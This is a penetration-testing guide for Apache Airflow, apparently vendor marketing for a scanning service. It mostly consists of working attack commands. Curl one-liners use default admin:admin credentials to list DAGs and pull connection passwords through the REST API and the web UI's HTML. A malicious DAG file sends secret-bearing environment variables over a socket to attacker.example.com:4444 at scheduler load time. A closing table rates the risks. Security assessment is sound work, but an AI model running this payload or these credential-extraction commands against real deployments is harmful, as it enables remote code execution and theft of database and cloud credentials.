Apache Airflow is the dominant open-source workflow orchestration platform, running data pipelines at thousands of organizations. Its security model has fundamental characteristics that penetration testers must understand: DAG files are Python scripts that are parsed and executed by the Airflow scheduler — any developer with write access to the DAG repository can achieve remote code execution on the scheduler and all worker nodes; Airflow ships with default credentials (admin/admin) that persist in many deployments; the webserver's Connections page displays all stored database and API credentials in a form that reveals them when editing; the Fernet encryption key is commonly left as the default or reused across environments, making connection password decryption trivial; and Airflow's REST API and web interface are often deployed without network-level access controls, exposing them to all internal users. This guide covers systematic Airflow security assessment.
# Apache Airflow default ports: 8080 (webserver), 8793 (worker log server)
# Airflow 2.x also exposes REST API at /api/v1/
# Check Airflow version (unauthenticated endpoint)
curl -s http://airflow.example.com:8080/api/v1/version 2>/dev/null | python3 -m json.tool
# Returns: {"version": "2.x.x", "git_version": "..."}
# Check Airflow health (no auth required)
curl -s http://airflow.example.com:8080/health 2>/dev/null | python3 -m json.tool
# Returns scheduler/database health status
# Check if web UI is accessible without authentication
curl -s -o /dev/null -w "%{http_code}" http://airflow.example.com:8080/home 2>/dev/null
# 200 = no auth; 302 to /login = auth required (check if bypassable)
# Enumerate DAGs via unauthenticated REST API
curl -s "http://airflow.example.com:8080/api/v1/dags?limit=20" \
-H "Authorization: Basic $(echo -n 'admin:admin' | base64)" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
dags = data.get('dags', [])
print(f'DAGs: {len(dags)}')
for d in dags[:10]:
print(f\" {d.get('dag_id','?')} — owners: {d.get('owners','?')} — tags: {d.get('tags','?')}\")
" 2>/dev/null
# DAGs are Python files loaded and executed by the Airflow scheduler
# A malicious DAG can execute arbitrary code at load time (not just task execution)
# Proof of concept: A Python file placed in the DAG folder executes on the scheduler
# This is not a vulnerability in Airflow itself — it's the intended behavior
# The vulnerability is: who can write files to the DAG repository?
# Check if the DAG folder is writable (if you have filesystem access)
ls -la $(airflow config get-value core dags_folder 2>/dev/null || echo "/opt/airflow/dags")
# Test via Airflow's import mechanism: drop a Python file that exfiltrates env vars
# When the scheduler next polls, this code runs as the airflow scheduler OS user
cat > /tmp/malicious_dag.py << 'DAGEOF'
import os, socket, subprocess
# Code at module level runs on import (scheduler load time)
try:
env_vars = {k: v for k, v in os.environ.items() if any(x in k.upper() for x in ['KEY','SECRET','PASSWORD','TOKEN','FERNET'])}
s = socket.socket()
s.connect(('attacker.example.com', 4444))
s.send(str(env_vars).encode())
s.close()
except:
pass
from airflow import DAG
from datetime import datetime
dag = DAG('malicious_dag', start_date=datetime(2024,1,1))
DAGEOF
# Via Git: if the DAG repo is a Git repo, inject via a PR or direct push
# Many Airflow deployments sync DAGs from a git repository (git-sync)
# Write access to that repo = code execution on all Airflow workers
# Airflow Connections store database URLs, API keys, cloud credentials
# Via the REST API (requires auth, but check with default admin:admin)
# List all connections
curl -s "http://airflow.example.com:8080/api/v1/connections" \
-H "Authorization: Basic $(echo -n 'admin:admin' | base64)" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
conns = data.get('connections', [])
print(f'Connections: {len(conns)}')
for c in conns:
print(f\" {c.get('connection_id','?')} type={c.get('conn_type','?')} host={c.get('host','?')} schema={c.get('schema','?')}\")
" 2>/dev/null
# Get a specific connection (may return plaintext password if not Fernet-encrypted)
CONN_ID="my_postgres_conn"
curl -s "http://airflow.example.com:8080/api/v1/connections/${CONN_ID}" \
-H "Authorization: Basic $(echo -n 'admin:admin' | base64)" 2>/dev/null | \
python3 -m json.tool | grep -E "(password|extra|uri)" | head -5
# The web UI "edit connection" form reveals the password in plaintext
# Navigate to: Admin > Connections > Edit (any connection)
# The password field is pre-populated and visible in the HTML source:
curl -s -b airflow_cookies.txt \
"http://airflow.example.com:8080/connection/edit/?id=1" 2>/dev/null | \
grep -oE 'value="[^"]{8,}"' | head -20
airflow config get-value core fernet_key to verify it's not the default; rotate it if it is| Security Test | Method | Risk |
|---|---|---|
| Default admin:admin credentials | POST /api/v1/dags with Basic auth admin:admin — check 200 vs 401 | Critical |
| DAG folder writable enabling RCE | Write Python file to DAGs folder — executes on next scheduler poll (default 30s) | Critical |
| Connection passwords readable via REST API | GET /api/v1/connections/{id} with admin creds — returns plaintext password | High |
| Fernet key is default or env-shared | Extract fernet_key from airflow.cfg — decrypt metadata DB connection passwords | High |
| Webserver accessible without network controls | curl :8080 from untrusted network — no IP allowlist or VPN requirement | High |
| Worker env vars leak credentials | Malicious DAG task dumps os.environ — reveals cloud credentials injected by k8s secrets | High |
Ironimo tests Apache Airflow deployments for default credential exposure (admin/admin), DAG repository write access enabling arbitrary code execution on the scheduler, connection credential extraction via the REST API and web UI, Fernet key misconfiguration leaving metadata database passwords unencrypted, webserver accessible without network-level controls, and worker environment variable exposure via malicious DAG tasks.
Start free scan